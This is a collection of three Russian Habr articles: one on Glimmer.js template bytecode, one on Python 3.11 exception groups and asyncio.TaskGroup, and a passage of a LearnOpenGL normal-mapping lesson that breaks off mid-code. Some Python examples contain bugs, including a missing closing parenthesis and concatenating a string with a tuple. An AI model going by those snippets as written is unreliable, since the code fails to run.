Около шести месяцев назад команда Ember.js объявила о выпуске Glimmer.js в качестве отдельной библиотеки компонентов. Отделение слоя представления позволило нам взять все самое лучше из Ember и виртуальной машины Glimmer, и передать это разработчикам, которые создают легковесные продукты, такие например как мобильные приложения для развивающихся рынков, или SEO страницы.
Прорыв Glimmer позволило нашей команде провести много экспериментов в последующие месяцы.
Недавно, например, мы представили гибидный рендер, при котором html генерируется на сервере и далее происходит rehydrated (прим. переводчика см. [здесь](https://www.emberjs.com/blog/2017/10/10/glimmer-progress-report.html#toc_rehydration)) в браузере. Это только начало преимуществ производительности, предоставляемых архитектурой виртуальной машины Glimmer.
Святой Грааль веб производительности — это способность быстрой первоначальной загрузки, быстрого обновления, когда пользователь совершает действия (сохранение производительности 60fps), и обеспечение производительности по умолчанию, а это означает, что крупные команды с менее опытными разработчиками могут создавать эффективные веб-приложения без значительного вмешательства.
Традиционно существует дилемма между доставкой минимального количества JavaScript кода для запуска мгновенных загрузок и возможностью иметь сложный отзывчивый UI. Похоже, что фундаментальный компромисс заключается в том, что по мере увеличения приложения производительность и продуктивность уменьшаются. С Glimmer наша цель — создавать легкие, быстрые и продуктивные приложения. Одним из ключей к достижению этой цели является снижение издержек каждого нового компонента, добавляемого в приложение.
### Мгновенные шаблоны
При переключение с JavaScript на JSON уменьшаются издержки на парсинг скомпилированных шаблонов, мы объединили Glimmer с передовыми функциями браузера, чтобы полностью исключить шаг парсинга.
При оптимизации времени загрузки, большинство разработчиков стараются уменьшить размеры файлов, чтобы ускорить загрузку. Но в приложениях, базирующихся на JavaScript, на производительность запуска влияют также способность браузера анализировать, компилировать и оценивать ваш код. Что является существенным, так как на мобильных устройствах анализ и компиляция JavaScript кода проходит в 2-5 раз медленнее, чем на настольных компьютерах. Только этот, единственный шаг может существенно повлиять на общую производительность приложения.
Сегодня большинство фреймворков компилируют представление (вью) в JavaScript функции. Издержки парсинга такого JavaScript кода часто скрыты, и по мере добавление новых функций приложение работает все медленее и медленее.
Как уже упоминалось выше, Glimmer компилирует шаблоны в последовательность опкодов, которые передаются в браузер как JSON. Благодаря тому, что грамматика JSON намного проще, чем грамматика JavaScript, JSON парсер может работать в 10 раз быстрее, чем парсер JavaScript при парсинге одних и тех же данных.
Но это все равно означает, что время парсинга будет увеличиваться по мере увеличения размера шаблона, правда уже медленнее. Что если бы мы могли вообще обойти шаг парсинга?
В последние годы браузеры научились отлично обрабатывать бинарные данные. С использованием низкоуровневого API, такого как ArrayBuffer, JavaScript программы умеют обрабатывать бинарные данные так же быстро как их нативные аналоги. Мы воспользовались этим преимуществом для компиляции шаблонов в наш собственный формат байт-кода, который виртуальная машина Glimmer умеет выполнять напрямую. По аналогии с форматом [байт-кода JVM](https://docs.oracle.com/javase/specs/jvms/se8/html/), байт-код Glimmer представляет собой платформонезависимый бинарный формат, который кодирует набор инструкций виртуальной машины Glimmer в поток байтов, состоящий из опкодов и его операторов. Вместо того, чтобы упираться в производительность парсинга JSON или JavaScript, теперь мы лишь ограничены возможностью браузера копировать необработанные байты из сети.
### Кодирование байт-кода Glimmer
Как и во многих виртуальных машинах, инструкции в виртуальной машине Glimmer распознаются по числам. байт-код — это всего лишь закодированная последовательность этих чисел. Уникальность Glimmer заключается в том, что его набор команд предназначен для рендеринга DOM в браузере.
Например, шаблон
````
Hello World
===========
````
будет скомпилирован в следующий JSON формат во время сборки:
```
[
["open-element", "h1", []],
["text", "Hello World"],
["close-element"]
]
```
В браузере на последнем шаге компиляции JSON формат превратиться в массив чисел, каждое число представляет собой код операции или операнд:
```
const Program = [25, 1, 0, 0, 22, 2, 0, 0, 32, 0, 0, 0];
```
Обратите внимание, что строки в нашем JSON были заменены целыми числами. Все потому, что мы используем так называемую технику “string interning”, которая позволяет избавиться от дублирования одинаковых строк, здесь строки заменяются смещением в пуле строковых констант, что на практике значительно уменьшает размер файлов (просто представьте сколько раз вы повторяете строковую константу div в своих шаблонах).
Изначально наш байт-код кодировал каждую операцию как четыре 32-битных целых числа, где первое 32-битное число описывало тип операции (опкод), а остальные 96 бита описывали до трех аргументов инструкции (операндов).
Несмотря на то, что данный подход эффективен для выполнения кода, есть минус — размеры файлов с байт-кодом больше, чем это необходимо. Все потому, что мы всегда резервируем пространство для трех операндов, хотя большинство инструкций не нуждаются в операндах или принимают всего один операнд. Таким образом, программа заполняется пустыми байтами, который там не должны были быть. Кроме того, набор инструкций Glimmer содержит только 80 опкодов, поэтому мы можем сократить зарезервированное пространство для опкодов до 8 бит.
В конечном счете, мы остановились на более компактной схеме кодирования, которая все еще была 16-битной. Первые 8 бит представляют собой опкод, следующие 2 бита используются для кодирования количества операндов и последние 6 бит зарезервированы для будущего использования. Каждый операнд, если он имеется, кодируется в дополнительные 16 бит.
С этой схемой кодирования каждая инструкция может занимать от двух до шести байт, выглядит это примерно так:
```
/* Fixed Opcode */ /* Operand? */ /* Operand? */ /* Operand? */
[0bIIIIIIIILLRRRRRR, 0bAAAAAAAAAAAAAAAA, 0bAAAAAAAAAAAAAAAA, 0bAAAAAAAAAAAAAAAA]
/*
I = instruction (opcode) type
L = operand length
R = reserved
A = operand value
*/
view raw
```
Эта новая схема уменьшает размер скомпилированной программы на 50%. «Декодирование» этой схемы имеет незначительные накладные расходы, поскольку мы просто маскируем и сдвигаем биты, чтобы выяснить длину опкода и длину операнда.
### Устранение разрыва между байт-кодом и JavaScript
Одна из проблем, с которой мы столкнулись, заключалась в том, чтобы переместить всю фазу компиляции в сборщик проекта. Ранее мы выполняли последний шаг компиляции шаблонов в браузере, как только JavaScript код приложения загрузился. Это позволяло нам соединять скомпилированные шаблоны с объектами JavaScript, таким как классы компонентов, которые обрабатывали действия пользователя.
Первый шаг заключался в том, чтобы обеспечить все уровни компиляции на Node.js. Мы создали новый интерфейс под названием “bundle compiler”, который инкапсулировал все уровни компиляции в один API, что позволяло инструментам сборки превращать “bundle” шаблонов в байт-код.
Затем мы столкнулись с дополнительной проблемой: при компиляции в байт-код, как бы нам «подключить» этот байт-код обратно к нужным объектам JavaScript во время выполнения? Чтобы решить эту проблему, мы ввели понятие “handles” (обработчики). Обработчик — это уникальный числовой идентификатор, который связан с внешними объектами в шаблоне, такими как компоненты или хелперы. Во время компиляции мы связываем каждый внешний объект с обработчиком, который кодируется в байт-код. Например, если мы видим вызов компонента , мы можем связать его с обработчиком с идентификатором 42 (предполагая, что до этого уже было вызвано 41 уникальных компонентов).
Вызов компонента на подобие этого компилируется в несколько опкодов в наборе команд Glimmer. Одна из этих инструкций — это 0x003b PushComponentDefinition, которая помещает класс JavaScript компонента в стек виртуальной машины (VM). При компиляции в байт-код эта инструкция создаст четыре байта: 0x00 0x3b 0x01 0x2A. Первые два байта кодируют опкод PushComponentDefinition. Вторые два байта кодируют операнд, который в этом случае является обработчиком (число 42).
И так что произойдет когда мы запустим байт-код в браузере? Как превратить целое число 42 в живой, дышащий класс JavaScript? Этот трюк мы называем “external module table” (таблица внешних модулей). Это небольшой фрагмент сгенерированного JavaScript кода, который объединяет два мира, определяя структуру данных, которая позволяет эффективно сопоставлять обработчики с соответствующими JavaScript классами.
В нашем примере мы связали UserProfile с обработчиком 42, таким образом наша таблица внешних модулей — это массив, где класс UserProfile является 42 элементом в массиве.
```
import UserProfile from './src/ui/components/UserProfile/component';
/* ...other component imports */
export let table = [
/* Component1 */,
/* Component2 */,
/* ... */,
/* Component41 */,
UserProfile,
/* Component43 */,
/* ... */
];
```
Во время выполнения байт-кода, вспомогательный объект, называемый “resolver” (распознаватель) превращает обработчик в соответствующий JavaScript объект. Поскольку каждый обработчик также является смещением в массиве, этот код прост и быст:
```
resolve(handle: number): U {
return this.table[handle];
}
```
Сборка проекта в формате .gbx (Glimmer Binary Experience), передача браузеру, и VM рендеринг заголовка в браузере.
### Что дальше
Мы просто интегрировали компилятор байт-кода во внутреннее приложение для доказательства концепции Glimmer.js и с нетерпением ожидаем скорого сбора реальных результатов в продакшн приложении. Это поможет нам оценить влияние этих изменений в реальном мире с различными участниками на разных аппаратных средствах, операционных системах, браузерах и сочетанием пропускной способности.
Так как байт-код Glimmer уменьшает размер файла и полностью устраняет издержки парсинга и компиляции последнего шага, мы ожидаем значительных улучшений времени запуска приложений, особенно на устройствах со слабыми аппаратными возможностями, где ЦП является узким местом. Возможно, что еще более важно, так это то, что процесс согласования формата файла и внутренних элементов виртуальной машины в направлении четко определенного двоичного формата открывает множество интересных экспериментов в будущем. В частности, выбранный нами формат байт-кода означает, что мы занимаем хорошие позиции для исследования и изменения некоторых частей виртуальной машины Glimmer в сторону технологии WebAssembly, уменьшая затраты на парсинг и еще больше улучшая производительность во время выполнения.
Все мы в LinkedIn большие поклонники open source, и вся работа описанная выше была открыта на GitHub. Если мы заинтересовали вас проектом Glimmer, мы приглашаем вас в репозитории [Glimmer VM](https://github.com/glimmerjs/glimmer-vm) и [Glimmer.js](https://github.com/glimmerjs/glimmer.js) на GitHub.
### Благодарности
Огромное спасибо [Чаду Хиетале](https://www.linkedin.com/in/chadhietala/) и [Тому Дейлу](https://www.linkedin.com/in/tommothereffindale/), которые взялись за компиляцию байт-кода в LinkedIn. Кроме того, благодаря [Иегуде Кацу](https://www.linkedin.com/in/yehudakatz/) и [Годфри Чэну](https://www.linkedin.com/in/godfreykfc/) за помощь в реализации этого видения в open source сообществе. | https://habr.com/ru/post/348586/ | null | ru | null |
# Группы асинхронных задач в Python 3.11
Вчера на официальном сайте был опубликован первый релиз-кандидат Python 3.11, который принесет важные оптимизации и доработки в возможности языка. Релиз планируется в октябре этого года, но уже сейчас можно поэкспериментировать с новыми возможностями и сегодня мы поговорим о группах исключений и асинхронных задач. Первые позволяют одновременно выбрасывать и обрабатывать несколько исключений, в то время как вторые позволяют объединять задачи в общий event loop и координированно управлять группами задач.
Для тестирования мы будем использовать образ контейнера python:3.11-rc-slim-buster. Запустим контейнер через `docker run --rm -it python:3.11-rc-slim-buster` и получим доступ к REPL, где мы можем экспериментировать с новыми языковыми возможностями. Также мы сможем запускать python-файл через `cat test.py | docker run -i python:3.11-rc-slim-buster`.
Начнем с групп исключений и сразу попробуем подготовить для них пример. Группы исключений позволяют обрабатывать несколько одновременно возникших исключений (например, в async-функциях) и интерпретировать их как список объектов (ранее обрабатывалось только первое исключение). Более подробно спецификация групп исключений описана [здесь](https://peps.python.org/pep-0654/).
В обычных ситуациях обработка исключений выполняется через блок try-except и если внутри блока кода несколько конкурирующих функций вернут исключение, то будет обработано только первое из них. Если исключение возникнет в блоке raise, то оно будет помечено как "произошедшее во время обработки другого исключения", при этом оно не будет иметь связи с исходным исключением.
В Python 3.11 добавлен новый класс ExceptionGroup, который может сообщать о возникновении нескольких исключений и давать для них текстовое описание. Это добавляет контекста к сообщению об ошибке и позволяет объединять несколько событий (кроме того, группа исключений может содержать другие группы и, таким образом, исключения могут быть рекурсивными). Если исключение не будет обработано, мы получим трассировку ошибки, в которой дерево исключений будет показано с учетом вложенности и комментариев. При этом при перехвате группы через try-except будет обнаружен только внешний объект ExceptionGroup, но не связанные с ним исключения. Для корректной обработки одного из исключений группы используется новая синтаксическая конструкция try - except\*. Например, если выбросить одновременно исключения ValueError и ZeroDivisionError, то обработка их может выполнять независимо (и параллельно):
```
try:
raise ExceptionGroup('Multiple exceptions', [ValueError(), ZeroDivisionError()])
except* ValueError as gr:
print('Value error '+gr.exceptions)
except* ZeroDivisionError as gr:
print('Zero division error '+gr.exceptions)
```
Обратите внимание, что в объект ошибки собираются все экземпляры данного типа (например, может быть отправлено несколько ValueError и можно получить доступ к каждому из них из списка exceptions). Если не все отправленные типы были обработаны в except\*, они будут отправлены выше (и могут привести к аварийному завершению, при этом в трассировке будут указаны только необработанные типы).
В Python 3.11 все типы единичных исключений будут автоматически распознаваться в except\*, как если бы они были отправлены внутри группы исключений.
Наиболее интересный сценарий - возникновение последовательных исключений при ожидании завершения группы задач. Предположим, что у нас есть относительно долгая задача, которая внутри себя обрабатывает данные из файла, которая может вызвать исключение. Тогда что будет возвращено, если мы вызовем несколько задач и соберем их результаты через asyncio.gather?
```
import asyncio
import io
async def process_file(filename):
with open(filename, mode="r"):
print('File is opened')
return True
async def process(filenames):
tasks = [asyncio.create_task(process_file(filename)) for filename in filenames]
await asyncio.gather(*tasks)
if __name__=="__main__":
asyncio.run(process(['file1','file2','file3'])
```
Запустим это приложение (в каталоге, где нет файлов file1, file2 и file3) и увидим, что в трассировке будет отмечена только одна ошибка. Чтобы обойти эту проблему мы можем использовать флаг return\_exceptions в gather, но более хорошим решением будет использование asyncio.TaskGroup. При выполнении задач в группе, исключения объединяются в общую ExceptionGroup и могут быть обработаны с помощью except\*. Управление ресурсами (например, создание задачи) теперь будет выполняться внутри группы (вместо asyncio.create\_task будет использовать tg.create\_task), которая создается через менеджер контекста. Например, рассмотренный выше код может быть переработан следующим образом:
```
import asyncio
async def process_file(filename):
with open(filename, mode="r"):
print('File is opened')
return True
async def process(filenames):
try:
async with asyncio.TaskGroup() as tg:
tasks = [tg.create_task(process_file(filename)) for filename in filenames]
except* FileNotFoundError as errors:
print(f'Files not found')
print([e.filename for e in errors.exceptions])
if __name__=="__main__":
asyncio.run(process(['file1','file2','file3'])
```
Как можно видеть, TaskGroup заменяет gather и обеспечивает конкурентное выполнение задач и объединение возникших исключений в одну группу. После запуска мы увидим, что при перехвате ошибки будет сообщено о трех отсутствующих файлах (несмотря на то, что они запускались в отдельных асинхронных задачах, но в пределах TaskGroup все собранные исключения объединяются в группу исключений).
```
cat test.py | docker run -i python:3.11-rc-slim-buster
Files not found
['file1', 'file2', 'file3']
```
Таким образом использование групп корутин и исключений позволяет выполнять более сложные сценарии с параллельным исполнением задач, в которых могут возникать исключения.
И в заключение приглашаю всех на бесплатный урок по теме: "Чистая архитектура в Python разработке", который проведет мой коллега из OTUS - Станислав Ступников.
* [Зарегистрироваться на бесплатный урок](https://otus.pw/3cP4/) | https://habr.com/ru/post/681560/ | null | ru | null |
# Learn OpenGL. Урок 5.5 – Normal Mapping
Normal Mapping
==============
Все сцены, которые мы используем состоят из многоугольников, в свою очередь состоящих из сотен, тысяч абсолютно плоских треугольников. Нам уже удалось немного повысить реализм сцен за счет дополнительных деталей, которые обеспечивает нанесение двухмерных текстур на эти плоские треугольники. Текстурирование помогает скрыть факт того, что все объекты в сцене – всего лишь набор множества мелких треугольников. Великолепная техника, но возможности её не безграничны: при приближении к любой поверхности все одно становится ясно, что она состоит из плоских поверхностей. Большая же часть реальных объектов не является абсолютно плоской и демонстрирует множество рельефных деталей.
**Содержание**Часть 1. Начало
1. [OpenGL](https://habrahabr.ru/post/310790/)
2. [Создание окна](https://habrahabr.ru/post/311198/)
3. [Hello Window](https://habrahabr.ru/post/311234/)
4. [Hello Triangle](https://habrahabr.ru/post/311808/)
5. [Shaders](https://habrahabr.ru/post/313380/)
6. [Текстуры](https://habrahabr.ru/post/315294/)
7. [Трансформации](https://habrahabr.ru/post/319144/)
8. [Системы координат](https://habrahabr.ru/post/324968/)
9. [Камера](https://habrahabr.ru/post/327604/)
Часть 2. Базовое освещение
1. [Цвета](https://habrahabr.ru/post/329592/)
2. [Основы освещения](https://habrahabr.ru/post/333932/)
3. [Материалы](https://habrahabr.ru/post/336166/)
4. [Текстурные карты](https://habrahabr.ru/post/337550/)
5. [Источники света](https://habrahabr.ru/post/337642/)
6. [Несколько источников освещения](https://habrahabr.ru/post/338254/)
Часть 3. Загрузка 3D-моделей
1. [Библиотека Assimp](https://habrahabr.ru/post/338436/)
2. [Класс полигональной сетки Mesh](https://habrahabr.ru/post/338436/)
3. [Класс 3D-модели](https://habrahabr.ru/post/338998/)
Часть 4. Продвинутые возможности OpenGL
1. [Тест глубины](https://habrahabr.ru/post/342610/)
2. [Тест трафарета](https://habrahabr.ru/post/344238/)
3. [Смешивание цветов](https://habrahabr.ru/post/343096/)
4. [Отсечение граней](https://habrahabr.ru/post/346964/)
5. [Кадровый буфер](https://habrahabr.ru/post/347354/)
6. [Кубические карты](https://habrahabr.ru/post/347750/)
7. [Продвинутая работа с данными](https://habrahabr.ru/post/350008/)
8. [Продвинутый GLSL](https://habrahabr.ru/post/350156/)
9. [Геометричечкий шейдер](https://habrahabr.ru/post/350782/)
10. [Инстансинг](https://habrahabr.ru/post/352962/)
11. [Сглаживание](https://habrahabr.ru/post/351706/)
Часть 5. Продвинутое освещение
1. [Продвинутое освещение. Модель Блинна-Фонга.](https://habrahabr.ru/post/353054/)
2. [Гамма-коррекция](https://habrahabr.ru/post/353632/)
3. [Карты теней](https://habrahabr.ru/post/353956/)
4. [Всенаправленные карты теней](https://habr.com/post/354208/)
5. [Normal Mapping](https://habr.com/post/415579/)
6. [Parallax Mapping](https://habr.com/post/416163/)
7. [HDR](https://habr.com/post/420409/)
8. [Bloom](https://habr.com/post/420375/)
9. [Отложенный рендеринг](https://habr.com/post/420565/)
10. [SSAO](https://habr.com/post/421385/)
Часть 6. PBR
1. [Теория](https://habr.com/post/426123/)
2. [Аналитические источники света](https://habr.com/post/424453/)
3. [IBL. Диффузная облученность.](https://habr.com/post/426987/)
4. [IBL. Зеркальная облученность.](https://habr.com/post/429744/)
Например, возьмите кирпичную кладку. Поверхность её весьма груба и, очевидно, представлена далеко не плоскостью: на ней есть углубления с цементом и множество мелких деталей типа отверстий и трещин. Если сцену с имитацией кирпичной кладки проанализировать в условиях наличия освещения, то иллюзия рельефности поверхности очень легко разрушается. Ниже представлен пример такой сцены, содержащей плоскость с нанесенной текстурой кирпичной кладки и один точечный источник света:
Как видно, освещение совершенно не учитывает предполагаемые для этой поверхности детали рельефа: отсутствуют и все мелкие трещинки, и углубления с цементом неотличимы от остальной поверхности. Можно было бы использовать карту зеркального блеска дабы ограничить освещенность определенных деталей, которые находятся в углублениях поверхности. Но это больше похоже на грязный хак, чем на рабочее решение. Что нам нужно, так это способ обеспечить уравнения освещения данными о микрорельефе поверхности.
В контексте известных нам уравнений освещения подумайте вот над каким вопросом: при каких условиях поверхность будет освещена как идеально плоская? Ответ связан с нормалью к поверхности. С точки зрения алгоритма освещения информация о форме поверхности передается только через вектор нормали. Поскольку у представленной выше поверхности вектор нормали постоянен всюду, то и освещение выходит равномерным, соответствующим плоскости. А что если передавать алгоритму освещения не единственную нормаль, постоянную для всех фрагментов, принадлежащих объекту, а нормаль уникальную для каждого фрагмента? Таким образом вектор нормали будет слегка меняться на основе рельефа поверхности, что создаст более убедительную иллюзию сложности поверхности:
За счет использования пофрагментно отличающихся нормалей алгоритм освещения будет считать поверхность состоящей из множества микроскопических плоскостей, перпендикулярных своему вектору нормали. В итоге это ощутимо добавит объекту фактурности. Техника применения нормалей уникальных для фрагмента, а не всей поверхности – это и есть **Normal Mapping** или **Bump Mapping**. В применении к уже знакомой сцене:
Виден впечатляющий рост визуальной сложности за счет весьма скромных затрат производительности. Поскольку мы все изменения в модели освещения заключаются лишь в подаче уникальной нормали в каждом фрагменте, то никакие формулы вычислений не меняются. Только лишь на вход вместо интерполированной нормали к поверхности поступает нормаль для текущего фрагмента. Все те же уравнения освещения проделывают остальную работу по созданию иллюзии рельефа.
Normal Mapping
--------------
Итак, получается, нам необходимо обеспечить алгоритм освещения нормалями, уникальными для каждого фрагмента. Воспользуемся уже знакомым по текстурам диффузного и зеркального отражения методом и используем обычную 2D текстуру для хранения данных о нормали в каждой точке поверхности. Не удивляйтесь, текстуры отлично подходят и для хранения векторов нормалей. Далее нам останется только осуществить выборку из текстуры, восстановить вектор нормали и провести расчеты освещения.
На первый взгляд может быть не очень ясно, как сохранить векторные данные в обычной текстуре, которая типично используется для хранения информации о цвете. Но задумайтесь на секунду: цветовая триада RGB по сути и есть трехмерный вектор. Похожим образом можно сохранить компоненты вектора нормали XYZ в соответствующих компонентах цвета. Величины компонент вектора нормали лежат в интервале [-1, 1] и потому требуют дополнительного преобразования в интервал [0, 1]:
```
vec3 rgb_normal = normal * 0.5 + 0.5; // переход от [-1,1] к [0,1]
```
Такое приведение вектора нормали в пространство цветовых компонент RGB позволит нам сохранить в текстуре вектора нормалей, полученные на основе реального рельефа моделируемого объекта и уникальные для каждого фрагмента. Пример такой текстуры – карты нормалей – для все той же кирпичной кладки:
Интересно отметить синий оттенок этой карты нормалей (практически все карты нормалей имеют схожий оттенок). Так получается, поскольку все нормали сориентированы приблизительно вдоль оси oZ, которая представляется координатной тройкой (0, 0, 1), т.е. в виде цветовой триады – чисто синий цвет. Небольшие изменения оттенка являются следствием отклонения нормалей от положительной полуоси oZ на некоторых участках, что соответствует неровностям рельефа. Так, можно заметить, что на верхних кромках каждого кирпича текстура приобретает зеленый оттенок. И это логично: на верхних гранях кирпича нормали должны бы быть сориентированы больше в сторону оси oY (0, 1, 0), что соответствует зеленому цвету.
Для тестовой сцены возьмем плоскость, сориентированную в сторону положительной полуоси oZ и используем для нее следующие [диффузную карту](https://learnopengl.com/img/textures/brickwall.jpg) и [карту нормалей](https://learnopengl.com/img/textures/brickwall_normal.jpg).
> Обратите внимание на то, что карта нормалей по ссылке и на картинке выше отличаются. В статье автор довольно вскользь упомянул о причинах отличий, ограничившись советом преобразовывать карты нормалей к такому виду, чтобы зеленая компонента указывала «вниз», а не «вверх» в системе локальной для плоскости текстуры.
>
> Если взглянуть более подробно, то тут взаимодействуют две фактора:
>
> * Различие в том, как адресуются тексели в клиентской памяти и в текстурной памяти OpenGL
> * Наличие двух нотаций для карт нормалей. Условно, два лагеря: DirectX-style и OpenGL-style
>
>
>
> Что касается нотаций карт нормалей, то исторически знакомые два лагеря: DirectX и OpenGL.
>
>
>
> 
>
> Как видно, они не совместимы. И немного покумекав можно понять, что DirectX полагает касательное пространство леворуким, а OpenGL праворуким. Подсунув иксовую карту нормалей нашему приложению без изменений получим некорректное освещение, причем не всегда сразу видно, что оно некорректное. Самое заметное — то, что выпуклости в формате OpenGL становятся углублениями для DirectX и наоборот.
>
> Что касается адресации: загружая данные из файла текстур в память мы предполагаем, что первый тексель — это левый верхний тексель изображения. Для представления текстурных данных в памяти приложения это, вобщем случае, верно. Но OpenGL использует другую систему текстурных координат: для нее первый тексель — это левый нижний. Для корректного текстурирования изображения, обычно, переворачиваются по оси Y еще в коде того или иного загрузчика файлов изображений. Для используемой в уроках либы Stb\_image нужно добавить установку флажка
>
>
>
>
> ```
> stbi_set_flip_vertically_on_load(1);
>
> ```
>
>
> Что самое забавное, то корректно в плане освещения отображаются два варианта: карта нормалей в нотации OpenGL с включенным отражением по Y или карта нормалей в нотации DirectX с выключенным отражением по Y. Освещение в обоих случаях работает корректно, разница останется только в инверсии текстур по оси Y.
>
>
>
> [](https://habrastorage.org/webt/ld/tq/1m/ldtq1mzn-lkbnz3tqeuqvs0n6ke.jpeg)
>
> ***Прим. пер.***
>
>
Итак, загрузим обе текстуры, привяжем к текстурным блокам и отрендерим подготовленную плоскость, с учетом следующих модификаций кода фрагментного шейдера:
```
uniform sampler2D normalMap;
void main()
{
// выборка вектора из карты нормалей с областью значений [0,1]
normal = texture(normalMap, fs_in.TexCoords).rgb;
// перевод вектора нормали в интервал [-1,1]
normal = normalize(normal * 2.0 - 1.0);
[...]
// вычисление освещения...
}
```
Здесь мы применяем обратное преобразование из пространства значений RGB в полноценный вектор нормали и далее просто используем его в хорошо знакомой модели освещения Блинна-Фонга.
Теперь, если медленно менять положение источника света в сцене, то можно ощутить иллюзию рельефности поверхности, обеспечиваемую картой нормалей:
Но остается одна проблема, которая радикально сужает круг возможного применения карт нормалей. Как уже отмечено синий оттенок карты нормалей намекал на то, что все вектора в текстуре ориентированы в среднем вдоль положительной оси oZ. В нашей сцене это не создало проблем, ведь нормаль к поверхности плоскости также была сонаправлена с oZ. Однако, что случится, если мы изменим положение плоскости в сцене так, что нормаль к ней будет сонаправлена с положительной полуосью oY?
Освещение оказалось полностью неверным! И причина проста: выборки нормалей из карты все также возвращают вектора, ориентированные вдоль положительной полуоси oZ, хотя в данном случае им следовало бы быть ориентированными в направлении положительной полуоси oY нормали поверхности. В данный же момент расчет освещения идет так, будто нормали к поверхности расположены так, будто плоскость все еще ориентирована в сторону положительной полуоси oZ, что дает неверный результат. Рисунок ниже более наглядно показывает ориентацию считанных из карты нормалей относительно поверхности:
Видно, что нормали в целом выровнены вдоль положительной полуоси oZ, хотя должны бы быть выровнены вдоль нормали к поверхности, которая направлена вдоль положительной полуоси oY.
Возможным решением могло бы быть задание отдельной карты нормалей для каждой ориентации рассматриваемой поверхности. Для куба понадобилось бы шесть карт нормалей, а для более сложных моделей число возможных ориентаций может быть слишком высоко и для реализации не годится.
Есть другой, математически более сложный подход, предлагающий вести расчеты освещения в другой системе координат: такой, что вектора нормали в ней всегда примерно совпадают с положительной полуосью oZ. Другие вектора, требующиеся для расчетов освещения тогда преобразуются в эту систему координат. Такой метод дает возможность использовать одну карту нормалей для любой ориентации объекта. А эта специфичная система координат называется **касательным пространством** или **tangent space**.
Касательное пространство
------------------------
Стоит отметить, что вектор нормали в карте нормалей выражен непосредственно в касательном пространстве, т.е. в такой системе координат, что нормаль всегда направлена примерно в направлении положительной полуоси oZ. Касательное пространство задано как система координат, локальная для плоскости треугольника и каждый вектор нормали задается в рамках этой системы координат. Можно представить эту систему и как локальную систему координат для карты нормалей: все вектора в ней заданы направленными в сторону положительной полуоси oZ вне зависимости от конечной ориентации поверхности. Используя специально подготовленные матрицы трансформации можно преобразовать вектора нормалей из этой локальной касательной системы координат в мировые или видовые координаты, ориентируя их в соответствии с окончательным положением поверхностей, подвергаемых текстурированию.
Рассмотрим предыдущий пример с некорректным применением normal mapping’а, где плоскость была сориентирована вдоль положительной полуоси oY. Так как карта нормалей задана в касательном пространстве, то один из вариантов корректировки – это расчет матрицы перехода нормалей из касательного пространства в такое, что они бы стали ориентированы по нормали к поверхности. Это привело бы к тому, что нормали стали бы выровнены вдоль положительной полуоси oY. Замечательным свойством касательного пространства является тот факт, что расчитав такую матрицу мы сможем переориентировать нормали к любой поверхности и её ориентации.
Такая матрица сокращенно обозначается как *TBN*, что есть сокращение от названия тройки векторов *Tangent*, *Bitangent* и *Normal*. Эти три вектора нам необходимо найти, дабы сформировать эту матрицу смены базиса. Такая матрица осуществляет переход вектора из касательного пространства в какое-либо другое и для её формирования необходимы три взаимоперпендикулярных вектора, ориентация которых соответствует ориентации плоскости карты нормалей. Это вектор направления вверх, вправо и вперед, набор знакомый нам по уроку о [виртуальной камере](https://habrahabr.ru/post/327604/).
С вектором верх все ясно сразу – это наш вектор нормали. Вектор вправо и вперед называются касательная (*tangent*) и бикасательная (*bitangent*) соответственно. Следующий рисунок дает представление об их взаимном расположении на плоскости:
Расчет касательной и бикасательной не настолько очевиден, как расчет вектора нормали. На рисунке можно заметить, что направление касательной и бикасательной карты нормали выровнены с осями, задающими текстурные координаты поверхности. Данный факт и положен в основу расчета этих двух векторов который потребует некоторой сноровки с математикой. Посмотрите на рисунок:
Изменения текстурных координат вдоль грани треугольника  обозначенное как  и  выражены в тех же направлениях, что и векторы касательной  и бикасательной . Исходя из этого факта можно выразить грани треугольника  и  в виде линейной комбинации касательного и бикасательного векторов:
Преобразуя в поэлементную запись получим:
 вычисляется как вектор разности двух векторов, а  и  как разности текстурных координат. Остается найти две неизвестных в двух уравнениях: касательную  и бикасательную . Если еще припоминаете уроки алгебры, то знаете, что такие условия позволяют решить систему и для  и для .
Последняя приведенная форма уравнений позволяет нам переписать её в форме матричного умножения:
Попробуйте мысленно провести матричное умножение, чтобы убедиться в верности записи. Запись системы в матричной форме позволяет гораздо легче понять подход к нахождению  и . Умножим обе части уравнения на величину обратную :
Получаем решение относительно  и , которое, однако, требует расчета обратной матрицы изменений текстурных координат. Не будем углубляться в подробности вычисления обратных матриц – выражение для обратной матрицы выглядит как произведение числа, обратного к детерминанту исходной матрицы, и присоединенной матрицы:
Данное выражение и есть формула для расчета вектора касательной  и бикасательной  на основе координат граней треугольника и соответствующих текстурных координат.
Не переживайте, если суть приведенных математических выкладок ускользает от вас. Если вы понимаете, что касательную и бикасательную мы получаем на основе координат вершин треугольника и их текстурных координат (поскольку текстурные координаты также принадлежат касательному пространству) – это уже половина дела.
#### Расчет тангентов и битангентов
В примере этого урока мы взяли простую плоскость, смотрящую в сторону положительной полуоси oZ. Сейчас же попробуем реализовать normal mapping используя касательное пространство, чтобы иметь возможность ориентировать плоскость в примере как нам вздумается, не разрушая эффекта normal mapping’а. Используя вышеописанный расчет мы вручную найдем касательную и бикасательную к рассматриваемой поверхности.
Примем, что плоскость составлена из следующих вершин с текстурными координатами (два треугольника заданы векторами 1, 2, 3 и 1, 3, 4):
```
// координаты вершин
glm::vec3 pos1(-1.0, 1.0, 0.0);
glm::vec3 pos2(-1.0, -1.0, 0.0);
glm::vec3 pos3( 1.0, -1.0, 0.0);
glm::vec3 pos4( 1.0, 1.0, 0.0);
// текстурные координаты
glm::vec2 uv1(0.0, 1.0);
glm::vec2 uv2(0.0, 0.0);
glm::vec2 uv3(1.0, 0.0);
glm::vec2 uv4(1.0, 1.0);
// вектор нормали
glm::vec3 nm(0.0, 0.0, 1.0);
```
Сначала рассчитываем вектора, описывающие грани треугольника, а также дельты текстурных координат:
```
glm::vec3 edge1 = pos2 - pos1;
glm::vec3 edge2 = pos3 - pos1;
glm::vec2 deltaUV1 = uv2 - uv1;
glm::vec2 deltaUV2 = uv3 - uv1;
```
Имея на руках необходимые исходные данные мы можем приступить к расчету касательной и бикасательной прямо по формулам из предыдущего раздела:
```
float f = 1.0f / (deltaUV1.x * deltaUV2.y - deltaUV2.x * deltaUV1.y);
tangent1.x = f * (deltaUV2.y * edge1.x - deltaUV1.y * edge2.x);
tangent1.y = f * (deltaUV2.y * edge1.y - deltaUV1.y * edge2.y);
tangent1.z = f * (deltaUV2.y * edge1.z - deltaUV1.y * edge2.z);
tangent1 = glm::normalize(tangent1);
